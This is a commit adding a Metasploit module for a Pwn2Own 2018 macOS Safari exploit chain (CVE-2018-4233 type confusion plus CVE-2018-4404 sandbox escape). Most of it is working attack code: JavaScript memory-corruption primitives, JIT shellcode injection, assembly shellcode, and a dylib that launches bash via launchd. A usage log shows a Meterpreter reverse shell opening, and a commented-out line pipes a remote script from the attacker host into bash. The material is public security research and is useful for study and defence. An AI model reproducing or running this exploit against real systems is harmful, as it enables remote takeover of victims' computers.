Land #10944, Add macOS Safari exploit from pwn2own2018

This commit is contained in:
Wei Chen 2018-12-13 13:50:19 -06:00
commit cc7cb7302e
No known key found for this signature in database
GPG Key ID: 6E162ED2C01D9AAC
12 changed files with 1024 additions and 0 deletions

View File

@ -0,0 +1,182 @@
//
// Tiny module that provides big (64bit) integers.
//
// Copyright (c) 2016 Samuel Groß
//
// Requires utils.js
//
// Datatype to represent 64-bit integers.
//
// Internally, the integer is stored as a Uint8Array in little endian byte order.
function Int64(v) {
// The underlying byte array.
var bytes = new Uint8Array(8);
switch (typeof v) {
case 'number':
v = '0x' + Math.floor(v).toString(16);
case 'string':
if (v.startsWith('0x'))
v = v.substr(2);
if (v.length % 2 == 1)
v = '0' + v;
var bigEndian = unhexlify(v, 8);
bytes.set(Array.from(bigEndian).reverse());
break;
case 'object':
if (v instanceof Int64) {
bytes.set(v.bytes());
} else {
if (v.length != 8)
throw TypeError("Array must have excactly 8 elements.");
bytes.set(v);
}
break;
case 'undefined':
break;
default:
throw TypeError("Int64 constructor requires an argument.");
}
// Return a double whith the same underlying bit representation.
this.asDouble = function() {
// Check for NaN
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
throw new RangeError("Integer can not be represented by a double");
return Struct.unpack(Struct.float64, bytes);
};
// Return a javascript value with the same underlying bit representation.
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
// due to double conversion constraints.
this.asJSValue = function() {
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
throw new RangeError("Integer can not be represented by a JSValue");
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
this.assignSub(this, 0x1000000000000);
var res = Struct.unpack(Struct.float64, bytes);
this.assignAdd(this, 0x1000000000000);
return res;
};
// Return the underlying bytes of this number as array.
this.bytes = function() {
return Array.from(bytes);
};
// Return the byte at the given index.
this.byteAt = function(i) {
return bytes[i];
};
// Return the value of this number as unsigned hex string.
this.toString = function() {
return '0x' + hexlify(Array.from(bytes).reverse());
};
// Basic arithmetic.
// These functions assign the result of the computation to their 'this' object.
// Decorator for Int64 instance operations. Takes care
// of converting arguments to Int64 instances if required.
function operation(f, nargs) {
return function() {
if (arguments.length != nargs)
throw Error("Not enough arguments for function " + f.name);
for (var i = 0; i < arguments.length; i++)
if (!(arguments[i] instanceof Int64))
arguments[i] = new Int64(arguments[i]);
return f.apply(this, arguments);
};
}
// this = -n (two's complement)
this.assignNeg = operation(function neg(n) {
for (var i = 0; i < 8; i++)
bytes[i] = ~n.byteAt(i);
return this.assignAdd(this, Int64.One);
}, 1);
// this = a + b
this.assignAdd = operation(function add(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) + b.byteAt(i) + carry;
carry = cur > 0xff | 0;
bytes[i] = cur;
}
return this;
}, 2);
// this = a - b
this.assignSub = operation(function sub(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) - b.byteAt(i) - carry;
carry = cur < 0 | 0;
bytes[i] = cur;
}
return this;
}, 2);
// this = a ^ b
this.assignXor = operation(function sub(a, b) {
for (var i = 0; i < 8; i++) {
bytes[i] = a.byteAt(i) ^ b.byteAt(i);
}
return this;
}, 2);
// this = a & b
this.assignAnd = operation(function sub(a, b) {
for (var i = 0; i < 8; i++) {
bytes[i] = a.byteAt(i) & b.byteAt(i);
}
return this;
}, 2)
}
// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
var bytes = Struct.pack(Struct.float64, d);
return new Int64(bytes);
};
// Convenience functions. These allocate a new Int64 to hold the result.
// Return -n (two's complement)
function Neg(n) {
return (new Int64()).assignNeg(n);
}
// Return a + b
function Add(a, b) {
return (new Int64()).assignAdd(a, b);
}
// Return a - b
function Sub(a, b) {
return (new Int64()).assignSub(a, b);
}
// Return a ^ b
function Xor(a, b) {
return (new Int64()).assignXor(a, b);
}
// Return a & b
function And(a, b) {
return (new Int64()).assignAnd(a, b);
}
// Some commonly used numbers.
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);
// That's all the arithmetic we need for exploiting WebKit.. :)

Binary file not shown.

View File

@ -0,0 +1,78 @@
//
// Utility functions.
//
// Copyright (c) 2016 Samuel Groß
//
// Return the hexadecimal representation of the given byte.
function hex(b) {
return ('0' + b.toString(16)).substr(-2);
}
// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
var res = [];
for (var i = 0; i < bytes.length; i++)
res.push(hex(bytes[i]));
return res.join('');
}
// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
if (hexstr.length % 2 == 1)
throw new TypeError("Invalid hex string");
var bytes = new Uint8Array(hexstr.length / 2);
for (var i = 0; i < hexstr.length; i += 2)
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
return bytes;
}
function hexdump(data) {
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
data = Array.from(data);
var lines = [];
for (var i = 0; i < data.length; i += 16) {
var chunk = data.slice(i, i+16);
var parts = chunk.map(hex);
if (parts.length > 8)
parts.splice(8, 0, ' ');
lines.push(parts.join(' '));
}
return lines.join('\n');
}
// Simplified version of the similarly named python module.
var Struct = (function() {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
var buffer = new ArrayBuffer(8);
var byteView = new Uint8Array(buffer);
var uint32View = new Uint32Array(buffer);
var float64View = new Float64Array(buffer);
return {
pack: function(type, value) {
var view = type; // See below
view[0] = value;
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
},
unpack: function(type, bytes) {
if (bytes.length !== type.BYTES_PER_ELEMENT)
throw Error("Invalid bytearray");
var view = type; // See below
byteView.set(bytes);
return view[0];
},
// Available types.
int8: byteView,
int32: uint32View,
float64: float64View
};
})();

Binary file not shown.

View File

@ -0,0 +1,84 @@
## Vulnerable Application
This module exploits a type confusion bug in the Javascript Proxy object in
WebKit. Safari on OSX 10.13.3 and lower are affected. The JS Proxy object
was introduced in Safari 10, so OSX 10.11 is not affected by the type
confusion, however the sandbox escape may still work.
The DFG JIT does not take into account that, through the use of a Proxy,
it is possible to run arbitrary JS code during the execution of a CreateThis
operation. This makes it possible to change the structure of e.g. an argument
without causing a bailout, leading to a type confusion (CVE-2018-4233).
The JIT region is then replaced with shellcode which loads the second stage.
The second stage exploits a logic error in libxpc, which uses command execution
via the launchd's "spawn_via_launchd" API (CVE-2018-4404).
## Verification Steps
1. Start `msfconsole`
1. `use exploit/osx/browser/safari_proxy_object_type_confusion`
1. `set LHOST <tab>`
1. `exploit`
1. Visit the URL on a vulnerable version of Safari
## Scenarios
### High Sierra 10.13
```
msf5 > use exploit/osx/browser/safari_proxy_object_type_confusion
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) > set LHOST 192.168.0.2
LHOST => 192.168.0.2
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) >
[*] Started reverse TCP handler on 192.168.0.2:4444
[*] Using URL: http://0.0.0.0:8080/0PiuTy
[*] Local IP: http://192.168.0.2:8080/0PiuTy
[*] Server started.
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) >
[*] 192.168.0.2 safari_proxy_object_type_confusion - Request from Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Safari/604.1.38
[*] Sending stage (53508 bytes) to 192.168.0.2
[*] Meterpreter session 1 opened (192.168.0.2:4444 -> 192.168.0.2:33200) at 2018-11-20 16:28:59 +0800
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) > sessions 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : Users-iMac.local
OS : Darwin 17.0.0 Darwin Kernel Version 17.0.0: Thu Aug 24 21:48:19 PDT 2017; root:xnu-4570.1.46~2/RELEASE_X86_64
Architecture : x64
Meterpreter : python/osx
```
### Adding offsets for new versions
Although all macOS versions from 10.12 -> 10.13.3 are vulnerable, some versions
are not supported. It's easy to add support for a vulnerable version by running
the script `external/source/exploits/CVE-2018-4404/gen_offsets.rb` on the
target version.
You will need to install the latest radare2 for the script to function.
```
$ git clone https://github.com/radare/radare2 && cd radare2 && ./sys/install.sh && cd ..`
$ ruby external/source/exploits/CVE-2018-4404/gen_offsets.rb
'10.13' => {
:dyld_stub_loader => '0x000012a8',
:dlopen => '0x00002e60',
:confstr => '0x000024fc',
:strlen => '0x00001440',
:strlen_got => '0xee8',
},
```
The offset `:jsc_vtab` cannot be generated but you can guess it is either 0xe000 or 0xd000.
You can then add the offsets to the module:
`modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb`
Please don't forget to contribute the offsets back to the framework if you have
successfully tested them.

View File

@ -0,0 +1,13 @@
all:
+$(MAKE) -C stage1
+$(MAKE) -C stage2
install:
cp stage1/stage1.bin ../../../../data/exploits/CVE-2018-4233/stage1.bin
cp stage2/stage2.dylib ../../../../data/exploits/CVE-2018-4404/stage2.dylib
clean:
rm -f stage1/stage1.bin
rm -f stage2/stage2.dylib

View File

@ -0,0 +1,30 @@
#!/usr/bin/env ruby
# -*- coding: binary -*-
#`brew install radare2` <-- older version :(
#`git clone https://github.com/radare/radare2 && cd radare2 && ./sys/install.sh`
def grab_offset(lib_file, function)
offset_string = `r2 -2qQ -c 'aa; afl | grep #{function}' #{lib_file}`
offset_string[0..9]
end
version = `sw_vers -productVersion`.strip
puts " '#{version}' => {"
puts " :dyld_stub_loader => '#{grab_offset("/usr/lib/system/libdyld.dylib", "dyld_stub_binder")}',"
puts " :dlopen => '#{grab_offset("/usr/lib/system/libdyld.dylib", "sym._dlopen")}',"
puts " :confstr => '#{grab_offset("/usr/lib/system/libsystem_c.dylib", "sym._confstr")}',"
puts " :strlen => '#{grab_offset("/usr/lib/system/libsystem_c.dylib", "sym._strlen")}',"
strlen_disasm = `r2 -2qQ -c "iS | grep nl_symbol_ptr; s sym.imp.strlen; pd 1" /System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore`
#strlen_disasm = '''
#12 0x00b67000 16 0x00b66000 16 -rw- 12.__DATA.__nl_symbol_ptr
#;-- imp.strlen:
#0x00ace162 ff25808d0900 jmp qword [0x00b66ee8] ; [0xb66ee8:8]=0xacf30e
#'''
got_offset = strlen_disasm.split(" ")[3].to_i(16)
strlen_got_entry = strlen_disasm.scan(/\[(\S+)\]/).first.first.to_i(16)
strlen_got_offset = (strlen_got_entry - got_offset).to_s(16)
puts " :strlen_got => '0x#{strlen_got_offset}',"
puts " },"

View File

@ -0,0 +1,7 @@
.PHONY: all
all: stage1.js
stage1.js: stage1.asm
@nasm -o stage1.bin stage1.asm

View File

@ -0,0 +1,70 @@
BITS 64
start:
; int 3
; Step 0: function prologue
sub rsp, 0x1008 ; ensure 16-byte alignment
; Step 1: call confstr() and build the path to our stage 2 .dylib on the stack
mov rdx, 0x1000
mov rsi, rsp
mov rdi, 65537 ; _CS_DARWIN_USER_TEMP_DIR
mov rax, 0x4141414141414141 ; will be replaced with &confstr
call rax ; confstr()
test rax, rax
jnz build_path
mov rax, 0xffff000000000001 ; return 1 to indicate failure in confstr
jmp exit
build_path:
dec rax
mov rcx, rsp
add rcx, rax
mov dword [rcx], 0x79642e78 ; x.dy
mov dword [rcx+4], 0x62696c ; lib\x00
; Step 2: write dylib to filesystem
mov rax, 0x2000005 ; sys_open
mov rdi, rsp ; path
mov rdx, 0x1ed ; protections (0644)
mov rsi, 0x602 ; O_TRUNC | O_CREAT | O_RDWR
syscall
jnb write_file
mov rax, 0xffff000000000002 ; return 2 to indicate failure in open
jmp exit
write_file:
mov rdi, rax
mov rsi, 0x4242424242424242
mov r8, 0x4343434343434343 ; rdx is set to zero during the syscall...
write_loop:
mov rdx, r8
mov rax, 0x2000004 ; sys_write
syscall
jnb write_succeeded
mov rax, 0xffff000000000003 ; return 3 to indicate failure in write
jmp exit
write_succeeded:
sub r8, rax
add rsi, rax
test r8, r8
jnz write_loop
; Step 3: open dylib with dlopen
dlopen:
xor rsi, rsi
mov rdi, rsp
mov rax, 0x4444444444444444 ; will be replaced with &dlopen
call rax
test rax, rax
jnz exit_success
mov rax, 0xffff000000000004 ; return 4 to indicate failure in dlopen
jmp exit
; Step 4: function epilogue and return
exit_success:
mov rax, 0xffff000000000000 ; return 0 for success
exit:
add rsp, 0x1008
ret

View File

@ -0,0 +1,8 @@
CC = clang
.PHONY: all
all: stage2.dylib
stage2.dylib: payload.c
$(CC) -shared -o stage2.dylib payload.c

View File

@ -0,0 +1,42 @@
#include <stdlib.h>
#include <mach/mach_port.h>
struct spawn_via_launchd_attr {
uint64_t spawn_flags;
const char *spawn_path;
const char *spawn_chdir;
const char * const * spawn_env;
const mode_t *spawn_umask;
mach_port_t *spawn_observer_port;
const cpu_type_t *spawn_binpref;
size_t spawn_binpref_cnt;
void * spawn_quarantine;
const char *spawn_seatbelt_profile;
const uint64_t *spawn_seatbelt_flags;
};
#define spawn_via_launchd(a, b, c) _spawn_via_launchd(a, b, c, 3)
pid_t _spawn_via_launchd(const char *label, const char * const *argv, const struct spawn_via_launchd_attr *spawn_attrs, int struct_version);
const char payload_cmd_placeholder[1024] = "PAYLOAD_CMD_PLACEHOLDER";
__attribute__((constructor))
void _injection()
{
const char* argv[] = {
"/bin/bash",
"-c",
payload_cmd_placeholder,
/*"open /Applications/Calculator.app/Contents/MacOS/Calculator",*/
/*"curl http://" HOST ":" HTTP_PORT "/pwn.sh | bash > /dev/tcp/" HOST "/" TCPLOG_PORT " 2>&1",*/
0,
};
mach_port_t mpo = MACH_PORT_NULL;
struct spawn_via_launchd_attr attrs;
memset(&attrs, 0, sizeof(attrs));
attrs.spawn_observer_port = &mpo;
spawn_via_launchd("net.saelo.hax", argv, &attrs);
}

View File

@ -0,0 +1,510 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Safari Proxy Object Type Confusion',
'Description' => %q{
This module exploits a type confusion bug in the Javascript Proxy object in
WebKit. The DFG JIT does not take into account that, through the use of a Proxy,
it is possible to run arbitrary JS code during the execution of a CreateThis
operation. This makes it possible to change the structure of e.g. an argument
without causing a bailout, leading to a type confusion (CVE-2018-4233).
The JIT region is then replaced with shellcode which loads the second stage.
The second stage exploits a logic error in libxpc, which uses command execution
via the launchd's "spawn_via_launchd" API (CVE-2018-4404).
},
'License' => MSF_LICENSE,
'Author' => [ 'saelo' ],
'References' => [
['CVE', '2018-4233'],
['CVE', '2018-4404'],
['URL', 'https://github.com/saelo/cve-2018-4233'],
['URL', 'https://github.com/saelo/pwn2own2018'],
['URL', 'https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf'],
],
'Arch' => [ ARCH_PYTHON, ARCH_CMD ],
'Platform' => 'osx',
'DefaultTarget' => 0,
'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' },
'Targets' => [
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
],
'DisclosureDate' => 'Mar 15 2018'))
register_advanced_options([
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information in the exploit javascript", false]),
])
end
def offset_table
{
'10.12.6' => {
:jsc_vtab => '0x0000d8d8',
:dyld_stub_loader => '0x00001168',
:dlopen => '0x000027f7',
:confstr => '0x00002c84',
:strlen => '0x00001b40',
:strlen_got => '0xdc0',
},
'10.13' => {
:jsc_vtab => '0x0000e5f8',
:dyld_stub_loader => '0x000012a8',
:dlopen => '0x00002e60',
:confstr => '0x000024fc',
:strlen => '0x00001440',
:strlen_got => '0xee8',
},
'10.13.3' => {
:jsc_vtab => '0xe5e8',
:dyld_stub_loader => '0x1278',
:dlopen => '0x2e30',
:confstr => '0x24dc',
:strlen => '0x1420',
:strlen_got => '0xee0',
},
}
end
def exploit_data(directory, file)
path = ::File.join Msf::Config.data_directory, 'exploits', directory, file
::File.binread path
end
def stage1_js
stage1 = exploit_data "CVE-2018-4233", "stage1.bin"
"var stage1 = new Uint8Array([#{Rex::Text::to_num(stage1)}]);"
end
def stage2_js
stage2 = exploit_data "CVE-2018-4404", "stage2.dylib"
payload_cmd = payload.raw
if target['Arch'] == ARCH_PYTHON
payload_cmd = "echo \"#{payload_cmd}\" | python"
end
placeholder_index = stage2.index('PAYLOAD_CMD_PLACEHOLDER')
stage2[placeholder_index, payload_cmd.length] = payload_cmd
"var stage2 = new Uint8Array([#{Rex::Text::to_num(stage2)}]);"
end
def get_offsets(user_agent)
if user_agent =~ /Intel Mac OS X (.*?)\)/
version = $1.gsub("_", ".")
mac_osx_version = Gem::Version.new(version)
if mac_osx_version >= Gem::Version.new('10.13.4')
print_warning "macOS version #{mac_osx_version} is not vulnerable"
elsif mac_osx_version < Gem::Version.new('10.12')
print_warning "macOS version #{mac_osx_version} is not vulnerable"
elsif offset_table.key?(version)
offset = offset_table[version]
return <<-EOF
const JSC_VTAB_OFFSET = #{offset[:jsc_vtab]};
const DYLD_STUB_LOADER_OFFSET = #{offset[:dyld_stub_loader]};
const DLOPEN_OFFSET = #{offset[:dlopen]};
const CONFSTR_OFFSET = #{offset[:confstr]};
const STRLEN_OFFSET = #{offset[:strlen]};
const STRLEN_GOT_OFFSET = #{offset[:strlen_got]};
EOF
else
print_warning "No offsets for version #{mac_osx_version}"
end
else
print_warning "Unexpected User-Agent"
end
return false
end
def on_request_uri(cli, request)
user_agent = request['User-Agent']
print_status("Request from #{user_agent}")
offsets = get_offsets(user_agent)
unless offsets
send_not_found(cli)
return
end
utils = exploit_data "CVE-2018-4233", "utils.js"
int64 = exploit_data "CVE-2018-4233", "int64.js"
html = %Q^
<html>
<body>
<script>
#{stage1_js}
stage1.replace = function(oldVal, newVal) {
for (var idx = 0; idx < this.length; idx++) {
var found = true;
for (var j = idx; j < idx + 8; j++) {
if (this[j] != oldVal.byteAt(j - idx)) {
found = false;
break;
}
}
if (found)
break;
}
this.set(newVal.bytes(), idx);
};
#{stage2_js}
#{utils}
#{int64}
#{offsets}
var ready = new Promise(function(resolve) {
if (typeof(window) === 'undefined')
resolve();
else
window.onload = function() {
resolve();
}
});
ready = Promise.all([ready]);
print = function(msg) {
//console.log(msg);
//document.body.innerText += msg + '\\n';
}
// Must create this indexing type transition first,
// otherwise the JIT will deoptimize later.
var a = [13.37, 13.37];
a[0] = {};
var referenceFloat64Array = new Float64Array(0x1000);
//
// Bug: the DFG JIT does not take into account that, through the use of a
// Proxy, it is possible to run arbitrary JS code during the execution of a
// CreateThis operation. This makes it possible to change the structure of e.g.
// an argument without causing a bailout, leading to a type confusion.
//
//
// addrof primitive
//
function setupAddrof() {
function InfoLeaker(a) {
this.address = a[0];
}
var trigger = false;
var leakme = null;
var arg = null;
var handler = {
get(target, propname) {
if (trigger)
arg[0] = leakme;
return target[propname];
},
};
var InfoLeakerProxy = new Proxy(InfoLeaker, handler);
for (var i = 0; i < 100000; i++) {
new InfoLeakerProxy([1.1, 2.2, 3.3]);
}
trigger = true;
return function(obj) {
leakme = obj;
arg = [1.1, 1.1];
var o = new InfoLeakerProxy(arg);
return o.address;
};
}
//
// fakeobj primitive
//
function setupFakeobj() {
function ObjFaker(a, address) {
a[0] = address;
}
var trigger = false;
var arg = null;
var handler = {
get(target, propname) {
if (trigger)
arg[0] = {};
return target[propname];
},
};
var ObjFakerProxy = new Proxy(ObjFaker, handler);
for (var i = 0; i < 100000; i++) {
new ObjFakerProxy([1.1, 2.2, 3.3], 13.37);
}
trigger = true;
return function(address) {
arg = [1.1, 1.1];
var o = new ObjFakerProxy(arg, address);
return arg[0];
};
}
function makeJITCompiledFunction() {
// Some code to avoid inlining...
function target(num) {
for (var i = 2; i < num; i++) {
if (num % i === 0) {
return false;
}
}
return true;
}
// Force JIT compilation.
for (var i = 0; i < 1000; i++) {
target(i);
}
for (var i = 0; i < 1000; i++) {
target(i);
}
for (var i = 0; i < 1000; i++) {
target(i);
}
return target;
}
function pwn() {
// Spray Float64Array structures so that structure ID 0x1000 will
// be a Float64Array with very high probability
var structs = [];
for (var i = 0; i < 0x1000; i++) {
var a = new Float64Array(1);
a['prop' + i] = 1337;
structs.push(a);
}
// Setup exploit primitives
var addrofOnce = setupAddrof();
var fakeobjOnce = setupFakeobj();
// (Optional) Spray stuff to keep the background GC busy and increase reliability even further
/*
var stuff = [];
for (var i = 0; i < 0x100000; i++) {
stuff.push({foo: i});
}
*/
var float64MemView = new Float64Array(0x200);
var uint8MemView = new Uint8Array(0x1000);
// Setup container to host the fake Float64Array
var jsCellHeader = new Int64([
00, 0x10, 00, 00, // m_structureID
0x0, // m_indexingType
0x2b, // m_type
0x08, // m_flags
0x1 // m_cellState
]);
var container = {
jsCellHeader: jsCellHeader.asJSValue(),
butterfly: null,
vector: float64MemView,
length: (new Int64('0x0001000000001337')).asJSValue(),
mode: {}, // an empty object, we'll need that later
};
// Leak address and inject fake object
// RawAddr == address in float64 form
var containerRawAddr = addrofOnce(container);
var fakeArrayAddr = Add(Int64.fromDouble(containerRawAddr), 16);
print("[+] Fake Float64Array @ " + fakeArrayAddr);
///
/// BEGIN CRITICAL SECTION
///
/// Objects are corrupted, a GC would now crash the process.
/// We'll try to repair everything as quickly as possible and with a minimal amount of memory allocations.
///
var driver = fakeobjOnce(fakeArrayAddr.asDouble());
while (!(driver instanceof Float64Array)) {
jsCellHeader.assignAdd(jsCellHeader, Int64.One);
container.jsCellHeader = jsCellHeader.asJSValue();
}
// Get some addresses that we'll need to repair our objects. We'll abuse the .mode
// property of the container to leak addresses.
driver[2] = containerRawAddr;
var emptyObjectRawAddr = float64MemView[6];
container.mode = referenceFloat64Array;
var referenceFloat64ArrayRawAddr = float64MemView[6];
// Fixup the JSCell header of the container to make it look like an empty object.
// By default, JSObjects have an inline capacity of 6, enough to hold the fake Float64Array.
driver[2] = emptyObjectRawAddr;
var header = float64MemView[0];
driver[2] = containerRawAddr;
float64MemView[0] = header;
// Copy the JSCell header from an existing Float64Array and set the butterfly to zero.
// Also set the mode: make it look like an OversizeTypedArray for easy GC survival
// (see JSGenericTypedArrayView<Adaptor>::visitChildren).
driver[2] = referenceFloat64ArrayRawAddr;
var header = float64MemView[0];
var length = float64MemView[3];
var mode = float64MemView[4];
driver[2] = containerRawAddr;
float64MemView[2] = header;
float64MemView[3] = 0;
float64MemView[5] = length;
float64MemView[6] = mode;
// Root the container object so it isn't garbage collected.
// This will allocate a butterfly for the fake object and store a reference to the container there.
// The fake array itself is rooted by the memory object (closures).
driver.container = container;
///
/// END CRITICAL SECTION
///
/// Objects are repaired, we will now survive a GC
///
if (typeof(gc) !== 'undefined')
gc();
memory = {
read: function(addr, length) {
driver[2] = memory.addrof(uint8MemView).asDouble();
float64MemView[2] = addr.asDouble();
var a = new Array(length);
for (var i = 0; i < length; i++)
a[i] = uint8MemView[i];
return a;
},
write: function(addr, data) {
driver[2] = memory.addrof(uint8MemView).asDouble();
float64MemView[2] = addr.asDouble();
for (var i = 0; i < data.length; i++)
uint8MemView[i] = data[i];
},
read8: function(addr) {
driver[2] = addr.asDouble();
return Int64.fromDouble(float64MemView[0]);
},
write8: function(addr, value) {
driver[2] = addr.asDouble();
float64MemView[0] = value.asDouble();
},
addrof: function(obj) {
float64MemView.leakme = obj;
var butterfly = Int64.fromDouble(driver[1]);
return memory.read8(Sub(butterfly, 0x10));
},
};
print("[+] Got stable memory read/write!");
// Find binary base
var funcAddr = memory.addrof(Math.sin);
var executableAddr = memory.read8(Add(funcAddr, 24));
var codeAddr = memory.read8(Add(executableAddr, 24));
var vtabAddr = memory.read8(codeAddr);
var jscBaseUnaligned = Sub(vtabAddr, JSC_VTAB_OFFSET);
print("[*] JavaScriptCore.dylib @ " + jscBaseUnaligned);
var jscBase = And(jscBaseUnaligned, new Int64("0x7ffffffff000"));
print("[*] JavaScriptCore.dylib @ " + jscBase);
var dyldStubLoaderAddr = memory.read8(jscBase);
var dyldBase = Sub(dyldStubLoaderAddr, DYLD_STUB_LOADER_OFFSET);
var strlenAddr = memory.read8(Add(jscBase, STRLEN_GOT_OFFSET));
var libCBase = Sub(strlenAddr, STRLEN_OFFSET);
print("[*] dyld.dylib @ " + dyldBase);
print("[*] libsystem_c.dylib @ " + libCBase);
var confstrAddr = Add(libCBase, CONFSTR_OFFSET);
print("[*] confstr @ " + confstrAddr);
var dlopenAddr = Add(dyldBase, DLOPEN_OFFSET);
print("[*] dlopen @ " + dlopenAddr);
// Patching shellcode
var stage2Addr = memory.addrof(stage2);
stage2Addr = memory.read8(Add(stage2Addr, 16));
print("[*] Stage 2 payload @ " + stage2Addr);
stage1.replace(new Int64("0x4141414141414141"), confstrAddr);
stage1.replace(new Int64("0x4242424242424242"), stage2Addr);
stage1.replace(new Int64("0x4343434343434343"), new Int64(stage2.length));
stage1.replace(new Int64("0x4444444444444444"), dlopenAddr);
print("[+] Shellcode patched");
// Leak JITCode pointer poison value
var poison_addr = Add(jscBase, 305152);
print("[*] Poison value @ " + poison_addr);
var poison = memory.read8(poison_addr);
print("[*] Poison value: " + poison);
// Shellcode
var func = makeJITCompiledFunction();
var funcAddr = memory.addrof(func);
print("[+] Shellcode function object @ " + funcAddr);
var executableAddr = memory.read8(Add(funcAddr, 24));
print("[+] Executable instance @ " + executableAddr);
var jitCodeAddr = memory.read8(Add(executableAddr, 24));
print("[+] JITCode instance @ " + jitCodeAddr);
var codeAddrPoisoned = memory.read8(Add(jitCodeAddr, 32));
var codeAddr = Xor(codeAddrPoisoned, poison);
print("[+] RWX memory @ " + codeAddr.toString());
print("[+] Writing shellcode...");
var origCode = memory.read(codeAddr, stage1.length);
memory.write(codeAddr, stage1);
print("[!] Jumping into shellcode...");
var res = func();
if (res === 0) {
print("[+] Shellcode executed sucessfully!");
} else {
print("[-] Shellcode failed to execute: error " + res);
}
memory.write(codeAddr, origCode);
print("[*] Restored previous JIT code");
print("[+] We are done here, continuing WebContent process as if nothing happened =)");
if (typeof(gc) !== 'undefined')
gc();
}
ready.then(function() {
try {
pwn();
} catch (e) {
print("[-] Exception caught: " + e);
}
}).catch(function(err) {
print("[-] Initializatin failed");
});
</script>
</body>
</html>
^
unless datastore['DEBUG_EXPLOIT']
html.gsub!(/^\s*print\s*\(.*?\);\s*$/, '')
end
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end